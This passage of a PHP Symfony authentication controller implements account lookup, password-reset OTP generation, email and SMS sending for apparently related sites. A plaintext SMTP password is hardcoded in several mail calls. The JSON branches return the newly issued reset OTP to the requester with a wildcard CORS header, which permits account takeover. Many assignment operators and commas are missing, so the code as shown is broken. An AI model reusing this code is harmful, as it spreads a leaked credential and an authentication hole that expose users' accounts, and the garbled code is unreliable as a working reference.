  8478.                         'systemType' => $systemType,
  8479.                         'userCategory' => $userCategory,
  8480.                         'userData' => $userData
  8481.                     ];
  8482.                     $email_twig_data['success'] = true;
  8483.                 } else {
  8484.                     $message "Oops! Could not find your account";
  8485.                     $email_twig_data['success'] = false;
  8486.                 }
  8487.             } else if ($systemType == '_BUDDYBEE_') {
  8488.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8489.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8490.                     array(
  8491.                         'email' => $email_address
  8492.                     )
  8493.                 );
  8494.                 if ($userObj) {
  8495.                 } else {
  8496.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8497.                         array(
  8498.                             'oAuthEmail' => $email_address
  8499.                         )
  8500.                     );
  8501.                     if ($userObj) {
  8502.                     } else {
  8503.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8504.                             array(
  8505.                                 'username' => $email_address
  8506.                             )
  8507.                         );
  8508.                     }
  8509.                 }
  8510.                 if ($userObj) {
  8511.                     $email_address $userObj->getEmail();
  8512.                     if ($email_address == null || $email_address == '')
  8513.                         $email_address $userObj->getOAuthEmail();
  8514.                     //                    triggerResetPassword:
  8515. //                    type: integer
  8516. //                          nullable: true
  8517.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8518.                     $otp $otpData['otp'];
  8519.                     $otpExpireTs $otpData['expireTs'];
  8520.                     $userObj->setOtp($otpData['otp']);
  8521.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8522.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8523.                     $em_goc->flush();
  8524.                     $userData = array(
  8525.                         'id' => $userObj->getApplicantId(),
  8526.                         'email' => $email_address,
  8527.                         'appId' => 0,
  8528.                         'image' => $userObj->getImage(),
  8529.                         'firstName' => $userObj->getFirstname(),
  8530.                         'lastName' => $userObj->getLastname(),
  8531.                         'phone' => $userObj->getPhone(),
  8532. //                        'appId'=>$userObj->getUserAppId(),
  8533.                     );
  8534.                     $email_twig_file 'ApplicationBundle:email/templates:forgotPasswordOtp.html.twig';
  8535.                     $email_twig_data = [
  8536.                         'page_title' => 'Find Account',
  8537.                         'encryptedData' => $encryptedData,
  8538.                         'message' => $message,
  8539.                         'userType' => $userType,
  8540.                         'errorField' => $errorField,
  8541.                         'otp' => $otpData['otp'],
  8542.                         'otpExpireSecond' => $otpExpireSecond,
  8543.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8544.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8545.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8546.                         'otpExpireTs' => $otpData['expireTs'],
  8547.                         'systemType' => $systemType,
  8548.                         'userCategory' => $userCategory,
  8549.                         'userData' => $userData
  8550.                     ];
  8551.                     $email_twig_data['success'] = true;
  8552.                 } else {
  8553.                     $message "Oops! Could not find your account";
  8554.                     $email_twig_data['success'] = false;
  8555.                 }
  8556.             }
  8557.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8558.                 if ($systemType == '_BUDDYBEE_') {
  8559.                     $bodyHtml '';
  8560.                     $bodyTemplate $email_twig_file;
  8561.                     $bodyData $email_twig_data;
  8562.                     $attachments = [];
  8563.                     $forwardToMailAddress $email_address;
  8564. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8565.                     $new_mail $this->get('mail_module');
  8566.                     $new_mail->sendMyMail(array(
  8567.                         'senderHash' => '_CUSTOM_',
  8568.                         //                        'senderHash'=>'_CUSTOM_',
  8569.                         'forwardToMailAddress' => $forwardToMailAddress,
  8570.                         'subject' => 'Account Verification',
  8571. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8572.                         'attachments' => $attachments,
  8573.                         'toAddress' => $forwardToMailAddress,
  8574.                         'fromAddress' => 'no-reply@buddybee.eu',
  8575.                         'userName' => 'no-reply@buddybee.eu',
  8576.                         'password' => 'Honeybee@0112',
  8577.                         'smtpServer' => 'smtp.hostinger.com',
  8578.                         'smtpPort' => 465,
  8579. //                            'emailBody' => $bodyHtml,
  8580.                         'mailTemplate' => $bodyTemplate,
  8581.                         'templateData' => $bodyData,
  8582. //                        'embedCompanyImage' => 1,
  8583. //                        'companyId' => $companyId,
  8584. //                        'companyImagePath' => $company_data->getImage()
  8585.                     ));
  8586.                 } else if ($systemType == '_CENTRAL_') {
  8587.                     $bodyHtml '';
  8588.                     $bodyTemplate $email_twig_file;
  8589.                     $bodyData $email_twig_data;
  8590.                     $attachments = [];
  8591.                     $forwardToMailAddress $email_address;
  8592. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8593.                     $new_mail $this->get('mail_module');
  8594.                     $new_mail->sendMyMail(array(
  8595.                         'senderHash' => '_CUSTOM_',
  8596.                         //                        'senderHash'=>'_CUSTOM_',
  8597.                         'forwardToMailAddress' => $forwardToMailAddress,
  8598.                         'subject' => 'Account Verification',
  8599. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8600.                         'attachments' => $attachments,
  8601.                         'toAddress' => $forwardToMailAddress,
  8602.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8603.                         'userName' => 'accounts@ourhoneybee.eu',
  8604.                         'password' => 'Honeybee@0112',
  8605.                         'smtpServer' => 'smtp.hostinger.com',
  8606.                         'smtpPort' => 465,
  8607. //                            'emailBody' => $bodyHtml,
  8608.                         'mailTemplate' => $bodyTemplate,
  8609.                         'templateData' => $bodyData,
  8610. //                        'embedCompanyImage' => 1,
  8611. //                        'companyId' => $companyId,
  8612. //                        'companyImagePath' => $company_data->getImage()
  8613.                     ));
  8614.                 } else {
  8615.                     $bodyHtml '';
  8616.                     $bodyTemplate $email_twig_file;
  8617.                     $bodyData $email_twig_data;
  8618.                     $attachments = [];
  8619.                     $forwardToMailAddress $email_address;
  8620. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8621.                     $new_mail $this->get('mail_module');
  8622.                     $new_mail->sendMyMail(array(
  8623.                         'senderHash' => '_CUSTOM_',
  8624.                         //                        'senderHash'=>'_CUSTOM_',
  8625.                         'forwardToMailAddress' => $forwardToMailAddress,
  8626.                         'subject' => 'Applicant Registration on Honeybee',
  8627. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8628.                         'attachments' => $attachments,
  8629.                         'toAddress' => $forwardToMailAddress,
  8630.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8631.                         'userName' => 'accounts@ourhoneybee.eu',
  8632.                         'password' => 'Honeybee@0112',
  8633.                         'smtpServer' => 'smtp.hostinger.com',
  8634.                         'smtpPort' => 465,
  8635.                         'emailBody' => $bodyHtml,
  8636.                         'mailTemplate' => $bodyTemplate,
  8637.                         'templateData' => $bodyData,
  8638. //                        'embedCompanyImage' => 1,
  8639. //                        'companyId' => $companyId,
  8640. //                        'companyImagePath' => $company_data->getImage()
  8641.                     ));
  8642.                 }
  8643.             }
  8644.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8645.                 if ($systemType == '_BUDDYBEE_') {
  8646.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8647.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8648.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8649.                      _APPEND_CODE_';
  8650.                     $msg str_replace($searchVal$replaceVal$msg);
  8651.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8652.                     $sendType 'all';
  8653.                     $socketUserIds = [];
  8654.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8655.                 } else {
  8656.                 }
  8657.             }
  8658.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8659.                 $response = new JsonResponse(array(
  8660.                         'templateData' => $twigData,
  8661.                         'message' => $message,
  8662. //                        "otp"=>'',
  8663.                         "otp" => $otp,
  8664.                         "otpExpireTs" => $otpExpireTs,
  8665.                         'actionData' => $email_twig_data,
  8666.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8667.                     )
  8668.                 );
  8669.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8670.                 return $response;
  8671.             } else if ($email_twig_data['success'] == true) {
  8672.                 $encData = array(
  8673.                     "userType" => $userType,
  8674.                     "otp" => '',
  8675. //                "otp"=>$otp,
  8676.                     "otpExpireTs" => $otpExpireTs,
  8677.                     "otpActionId" => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8678.                     "userCategory" => $userCategory,
  8679.                     "userId" => $userData['id'],
  8680.                     "systemType" => $systemType,
  8681.                     "email" => $email_address,
  8682.                 );
  8683.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8684.                 $url $this->generateUrl(
  8685.                     'verify_otp'
  8686.                 );
  8687.                 return $this->redirect($url "/" $encDataStr);
  8688. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8689. ////                    'encData'
  8690. ////                'id' => $isApplicantExist->getApplicantId(),
  8691. ////                'oAuthData' => $oAuthData,
  8692. ////                'refRoute' => $refRoute,
  8693. //                ]);
  8694.             }
  8695.         }
  8696.         if ($systemType == '_ERP_') {
  8697.             if ($userCategory == '_APPLICANT_') {
  8698.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8699.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8700.                 $twigData = [
  8701.                     'page_title' => 'Find Account',
  8702.                     'encryptedData' => $encryptedData,
  8703.                     'message' => $message,
  8704.                     'systemType' => $systemType,
  8705.                     'ownServerId' => $ownServerId,
  8706.                     'userType' => $userType,
  8707.                     'errorField' => $errorField,
  8708.                 ];
  8709.             } else {
  8710.                 $userType UserConstants::USER_TYPE_GENERAL;
  8711.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8712.                 $twigData = [
  8713.                     'page_title' => 'Find Account',
  8714.                     'encryptedData' => $encryptedData,
  8715.                     'systemType' => $systemType,
  8716.                     'ownServerId' => $ownServerId,
  8717.                     'message' => $message,
  8718.                     'userType' => $userType,
  8719.                     'errorField' => $errorField,
  8720.                 ];
  8721.             }
  8722.         } else if ($systemType == '_SOPHIA_') {
  8723.             $userType UserConstants::USER_TYPE_APPLICANT;
  8724.             $twig_file '@Sophia/pages/views/sophia_verify_email.html.twig';
  8725.             $twigData = [
  8726.                 'page_title' => 'Find Account',
  8727.                 'encryptedData' => $encryptedData,
  8728.                 'systemType' => $systemType,
  8729.                 'ownServerId' => $ownServerId,
  8730.                 "otp" => '',
  8731. //                "otp"=>$otp,
  8732.                 "otpExpireTs" => $otpExpireTs,
  8733.                 'message' => $message,
  8734.                 'userType' => $userType,
  8735.                 'errorField' => $errorField,
  8736.             ];
  8737.         } else if ($systemType == '_CENTRAL_') {
  8738.             $userType UserConstants::USER_TYPE_APPLICANT;
  8739.             $twig_file '@HoneybeeWeb/pages/verify_email.html.twig';
  8740.             $twigData = [
  8741.                 'page_title' => 'Find Account',
  8742.                 'encryptedData' => $encryptedData,
  8743.                 'systemType' => $systemType,
  8744.                 'ownServerId' => $ownServerId,
  8745.                 "otp" => '',
  8746. //                "otp"=>$otp,
  8747.                 "otpExpireTs" => $otpExpireTs,
  8748.                 'message' => $message,
  8749.                 'userType' => $userType,
  8750.                 'errorField' => $errorField,
  8751.             ];
  8752.         } else if ($systemType == '_BUDDYBEE_') {
  8753.             $userType UserConstants::USER_TYPE_APPLICANT;
  8754.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8755.             $twigData = [
  8756.                 'page_title' => 'Find Account',
  8757.                 'encryptedData' => $encryptedData,
  8758.                 "otp" => '',
  8759.                 'systemType' => $systemType,
  8760.                 'ownServerId' => $ownServerId,
  8761. //                "otp"=>$otp,
  8762.                 "otpExpireTs" => $otpExpireTs,
  8763.                 'message' => $message,
  8764.                 'userType' => $userType,
  8765.                 'errorField' => $errorField,
  8766.             ];
  8767.         }
  8768.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8769.             $response = new JsonResponse(array(
  8770.                     'templateData' => $twigData,
  8771.                     'message' => $message,
  8772.                     "otp" => '',
  8773. //                "otp"=>$otp,
  8774.                     "otpExpireTs" => $otpExpireTs,
  8775.                     'actionData' => $email_twig_data,
  8776.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8777.                 )
  8778.             );
  8779.             $response->headers->set('Access-Control-Allow-Origin''*');
  8780.             return $response;
  8781.         } else {
  8782.             return $this->render(
  8783.                 $twig_file,
  8784.                 $twigData
  8785.             );
  8786.         }
  8787.     }
  8788.     public function FindAccountForAppAction(Request $request$encData ''$remoteVerify 0)
  8789.     {
  8790. //        $userCategory=$request->request->has('userCategory');
  8791.         $encryptedData = [];
  8792.         $errorField '';
  8793.         $message '';
  8794.         $userType '';
  8795.         $otpExpireSecond 180;
  8796.         $otpExpireTs 0;
  8797.         $otp '';
  8798.         if ($encData != '')
  8799.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8800. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8801.         $userCategory '_BUDDYBEE_USER_';
  8802.         if (isset($encryptedData['userCategory']))
  8803.             $userCategory $encryptedData['userCategory'];
  8804.         else
  8805.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8806.         $em $this->getDoctrine()->getManager('company_group');
  8807.         $em_goc $this->getDoctrine()->getManager('company_group');
  8808.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8809.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8810.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8811.         $twigData = [];
  8812.         $email_twig_file 'ApplicationBundle:pages/email:find_account_buddybee.html.twig';
  8813.         $email_address $request->request->get('email''');
  8814.         $email_twig_data = [];
  8815.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8816.         if ($request->isMethod('POST')) {
  8817.             //set an otp and its expire and send mail
  8818.             $email_address $request->request->get('email');
  8819.             $userObj null;
  8820.             $userData = [];
  8821.             if ($systemType == '_ERP_') {
  8822.                 if ($userCategory == '_APPLICANT_') {
  8823.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8824.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8825.                         array(
  8826.                             'email' => $email_address
  8827.                         )
  8828.                     );
  8829.                     if ($userObj) {
  8830.                     } else {
  8831.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8832.                             array(
  8833.                                 'oAuthEmail' => $email_address
  8834.                             )
  8835.                         );
  8836.                         if ($userObj) {
  8837.                         } else {
  8838.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8839.                                 array(
  8840.                                     'username' => $email_address
  8841.                                 )
  8842.                             );
  8843.                         }
  8844.                     }
  8845.                     if ($userObj) {
  8846.                         $email_address $userObj->getEmail();
  8847.                         if ($email_address == null || $email_address == '')
  8848.                             $email_address $userObj->getOAuthEmail();
  8849.                     }
  8850. //                    triggerResetPassword:
  8851. //                    type: integer
  8852. //                          nullable: true
  8853.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8854.                     $otp $otpData['otp'];
  8855.                     $otpExpireTs $otpData['expireTs'];
  8856.                     $userObj->setOtp($otpData['otp']);
  8857.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8858.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8859.                     $em_goc->flush();
  8860.                     $userData = array(
  8861.                         'id' => $userObj->getApplicantId(),
  8862.                         'email' => $email_address,
  8863.                         'appId' => 0,
  8864. //                        'appId'=>$userObj->getUserAppId(),
  8865.                     );
  8866.                     $email_twig_file 'ApplicationBundle:email/templates:forgotPasswordOtp.html.twig';
  8867.                     $email_twig_data = [
  8868.                         'page_title' => 'Find Account',
  8869.                         'encryptedData' => $encryptedData,
  8870.                         'message' => $message,
  8871.                         'userType' => $userType,
  8872.                         'errorField' => $errorField,
  8873.                         'otp' => $otpData['otp'],
  8874.                         'otpExpireSecond' => $otpExpireSecond,
  8875.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8876.                         'otpExpireTs' => $otpData['expireTs'],
  8877.                         'systemType' => $systemType,
  8878.                         'userData' => $userData
  8879.                     ];
  8880.                     if ($userObj)
  8881.                         $email_twig_data['success'] = true;
  8882.                 } else {
  8883.                     $userType UserConstants::USER_TYPE_GENERAL;
  8884.                     $email_twig_file 'ApplicationBundle:email/templates:forgotPasswordOtp.html.twig';
  8885.                     $email_twig_data = [
  8886.                         'page_title' => 'Find Account',
  8887.                         'encryptedData' => $encryptedData,
  8888.                         'message' => $message,
  8889.                         'userType' => $userType,
  8890.                         'errorField' => $errorField,
  8891.                     ];
  8892.                 }
  8893.             } else if ($systemType == '_CENTRAL_') {
  8894.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8895.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8896.                     array(
  8897.                         'email' => $email_address
  8898.                     )
  8899.                 );
  8900.                 if ($userObj) {
  8901.                 } else {
  8902.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8903.                         array(
  8904.                             'oAuthEmail' => $email_address
  8905.                         )
  8906.                     );
  8907.                     if ($userObj) {
  8908.                     } else {
  8909.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8910.                             array(
  8911.                                 'username' => $email_address
  8912.                             )
  8913.                         );
  8914.                     }
  8915.                 }
  8916.                 if ($userObj) {
  8917.                     $email_address $userObj->getEmail();
  8918.                     if ($email_address == null || $email_address == '')
  8919.                         $email_address $userObj->getOAuthEmail();
  8920.                     //                    triggerResetPassword:
  8921. //                    type: integer
  8922. //                          nullable: true
  8923.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8924.                     $otp $otpData['otp'];
  8925.                     $otpExpireTs $otpData['expireTs'];
  8926.                     $userObj->setOtp($otpData['otp']);
  8927.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8928.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8929.                     $em_goc->flush();
  8930.                     $userData = array(
  8931.                         'id' => $userObj->getApplicantId(),
  8932.                         'email' => $email_address,
  8933.                         'appId' => 0,
  8934.                         'image' => $userObj->getImage(),
  8935.                         'firstName' => $userObj->getFirstname(),
  8936.                         'lastName' => $userObj->getLastname(),
  8937.                         'phone' => $userObj->getPhone(),
  8938. //                        'appId'=>$userObj->getUserAppId(),
  8939.                     );
  8940.                     $email_twig_file 'ApplicationBundle:email/templates:forgotPasswordOtp.html.twig';
  8941.                     $email_twig_data = [
  8942.                         'page_title' => 'Find Account',
  8943.                         'encryptedData' => $encryptedData,
  8944.                         'message' => $message,
  8945.                         'userType' => $userType,
  8946.                         'errorField' => $errorField,
  8947.                         'otp' => $otpData['otp'],
  8948.                         'otpExpireSecond' => $otpExpireSecond,
  8949.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8950.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8951.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8952.                         'otpExpireTs' => $otpData['expireTs'],
  8953.                         'systemType' => $systemType,
  8954.                         'userCategory' => $userCategory,
  8955.                         'userData' => $userData
  8956.                     ];
  8957.                     $email_twig_data['success'] = true;
  8958.                 } else {
  8959.                     $message "Oops! Could not find your account";
  8960.                     $email_twig_data['success'] = false;
  8961.                 }
  8962.             }
  8963.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8964.                 if ($systemType == '_CENTRAL_') {
  8965.                     $bodyHtml '';
  8966.                     $bodyTemplate $email_twig_file;
  8967.                     $bodyData $email_twig_data;
  8968.                     $attachments = [];
  8969.                     $forwardToMailAddress $email_address;
  8970. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8971.                     $new_mail $this->get('mail_module');
  8972.                     $new_mail->sendMyMail(array(
  8973.                         'senderHash' => '_CUSTOM_',
  8974.                         //                        'senderHash'=>'_CUSTOM_',
  8975.                         'forwardToMailAddress' => $forwardToMailAddress,
  8976.                         'subject' => 'Account Verification',
  8977. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8978.                         'attachments' => $attachments,
  8979.                         'toAddress' => $forwardToMailAddress,
  8980.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8981.                         'userName' => 'accounts@ourhoneybee.eu',
  8982.                         'password' => 'Honeybee@0112',
  8983.                         'smtpServer' => 'smtp.hostinger.com',
  8984.                         'smtpPort' => 465,
  8985. //                            'emailBody' => $bodyHtml,
  8986.                         'mailTemplate' => $bodyTemplate,
  8987.                         'templateData' => $bodyData,
  8988. //                        'embedCompanyImage' => 1,
  8989. //                        'companyId' => $companyId,
  8990. //                        'companyImagePath' => $company_data->getImage()
  8991.                     ));
  8992.                 } else {
  8993.                     $bodyHtml '';
  8994.                     $bodyTemplate $email_twig_file;
  8995.                     $bodyData $email_twig_data;
  8996.                     $attachments = [];
  8997.                     $forwardToMailAddress $email_address;
  8998. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8999.                     $new_mail $this->get('mail_module');
  9000.                     $new_mail->sendMyMail(array(
  9001.                         'senderHash' => '_CUSTOM_',
  9002.                         //                        'senderHash'=>'_CUSTOM_',
  9003.                         'forwardToMailAddress' => $forwardToMailAddress,
  9004.                         'subject' => 'Applicant Registration on Honeybee',
  9005. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  9006.                         'attachments' => $attachments,
  9007.                         'toAddress' => $forwardToMailAddress,
  9008.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  9009.                         'userName' => 'accounts@ourhoneybee.eu',
  9010.                         'password' => 'Honeybee@0112',
  9011.                         'smtpServer' => 'smtp.hostinger.com',
  9012.                         'smtpPort' => 465,
  9013.                         'emailBody' => $bodyHtml,
  9014.                         'mailTemplate' => $bodyTemplate,
  9015.                         'templateData' => $bodyData,
  9016. //                        'embedCompanyImage' => 1,
  9017. //                        'companyId' => $companyId,
  9018. //                        'companyImagePath' => $company_data->getImage()
  9019.                     ));
  9020.                 }
  9021.             }
  9022.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  9023.                 if ($systemType == '_BUDDYBEE_') {
  9024.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  9025.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  9026.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  9027.                      _APPEND_CODE_';
  9028.                     $msg str_replace($searchVal$replaceVal$msg);
  9029.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  9030.                     $sendType 'all';
  9031.                     $socketUserIds = [];
  9032.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  9033.                 } else {
  9034.                 }
  9035.             }
  9036.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9037.                 $response = new JsonResponse(array(
  9038.                         'templateData' => $twigData,
  9039.                         'message' => $message,
  9040. //                        "otp"=>'',
  9041.                         "otp" => $otp,
  9042.                         "otpExpireTs" => $otpExpireTs,
  9043.                         'actionData' => $email_twig_data,
  9044.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9045.                     )
  9046.                 );
  9047.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9048.                 return $response;
  9049.             } else if ($email_twig_data['success'] == true) {
  9050.                 $encData = array(
  9051.                     "userType" => $userType,
  9052.                     "otp" => '',
  9053. //                "otp"=>$otp,
  9054.                     "otpExpireTs" => $otpExpireTs,
  9055.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9056.                     "userCategory" => $userCategory,
  9057.                     "userId" => $userData['id'],
  9058.                     "systemType" => $systemType,
  9059.                     "email" => $email_address,
  9060.                 );
  9061.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9062.                 $url $this->generateUrl(
  9063.                     'verify_otp'
  9064.                 );
  9065.                 return $this->redirect($url "/" $encDataStr);
  9066. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  9067. ////                    'encData'
  9068. ////                'id' => $isApplicantExist->getApplicantId(),
  9069. ////                'oAuthData' => $oAuthData,
  9070. ////                'refRoute' => $refRoute,
  9071. //                ]);
  9072.             }
  9073.         }
  9074.         if ($systemType == '_ERP_') {
  9075.             if ($userCategory == '_APPLICANT_') {
  9076.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9077.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9078.                 $twigData = [
  9079.                     'page_title' => 'Find Account',
  9080.                     'encryptedData' => $encryptedData,
  9081.                     'message' => $message,
  9082.                     'systemType' => $systemType,
  9083.                     'ownServerId' => $ownServerId,
  9084.                     'userType' => $userType,
  9085.                     'errorField' => $errorField,
  9086.                 ];
  9087.             } else {
  9088.                 $userType UserConstants::USER_TYPE_GENERAL;
  9089.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9090.                 $twigData = [
  9091.                     'page_title' => 'Find Account',
  9092.                     'encryptedData' => $encryptedData,
  9093.                     'systemType' => $systemType,
  9094.                     'ownServerId' => $ownServerId,
  9095.                     'message' => $message,
  9096.                     'userType' => $userType,
  9097.                     'errorField' => $errorField,
  9098.                 ];
  9099.             }
  9100.         } else if ($systemType == '_CENTRAL_') {
  9101.             $userType UserConstants::USER_TYPE_APPLICANT;
  9102.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  9103.             $twigData = [
  9104.                 'page_title' => 'Find Account',
  9105.                 'encryptedData' => $encryptedData,
  9106.                 'systemType' => $systemType,
  9107.                 'ownServerId' => $ownServerId,
  9108.                 "otp" => '',
  9109. //                "otp"=>$otp,
  9110.                 "otpExpireTs" => $otpExpireTs,
  9111.                 'message' => $message,
  9112.                 'userType' => $userType,
  9113.                 'errorField' => $errorField,
  9114.             ];
  9115.         } else if ($systemType == '_BUDDYBEE_') {
  9116.             $userType UserConstants::USER_TYPE_APPLICANT;
  9117.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9118.             $twigData = [
  9119.                 'page_title' => 'Find Account',
  9120.                 'encryptedData' => $encryptedData,
  9121.                 "otp" => '',
  9122.                 'systemType' => $systemType,
  9123.                 'ownServerId' => $ownServerId,
  9124. //                "otp"=>$otp,
  9125.                 "otpExpireTs" => $otpExpireTs,
  9126.                 'message' => $message,
  9127.                 'userType' => $userType,
  9128.                 'errorField' => $errorField,
  9129.             ];
  9130.         }
  9131.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9132.             $response = new JsonResponse(array(
  9133.                     'templateData' => $twigData,
  9134.                     'message' => $message,
  9135.                     "otp" => '',
  9136. //                "otp"=>$otp,
  9137.                     "otpExpireTs" => $otpExpireTs,
  9138.                     'actionData' => $email_twig_data,
  9139.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9140.                 )
  9141.             );
  9142.             $response->headers->set('Access-Control-Allow-Origin''*');
  9143.             return $response;
  9144.         } else {
  9145.             return $this->render(
  9146.                 $twig_file,
  9147.                 $twigData
  9148.             );
  9149.         }
  9150.     }
  9151.     public function VerifyOtpAction(Request $request$encData ''$remoteVerify 0)
  9152.     {
  9153. //        $userCategory=$request->request->has('userCategory');
  9154.         $encryptedData = [];
  9155.         $errorField '';
  9156.         $message '';
  9157.         $userType '';
  9158.         $otpExpireSecond 180;
  9159.         $otpExpireTs 0;
  9160.         if ($encData != '')
  9161.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  9162. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  9163.         $otp = isset($encryptedData['otp']) ? $encryptedData['otp'] : 0;
  9164.         $email = isset($encryptedData['email']) ? $encryptedData['email'] : 0;
  9165.         $otpExpireTs = isset($encryptedData['otpExpireTs']) ? $encryptedData['otpExpireTs'] : 0;
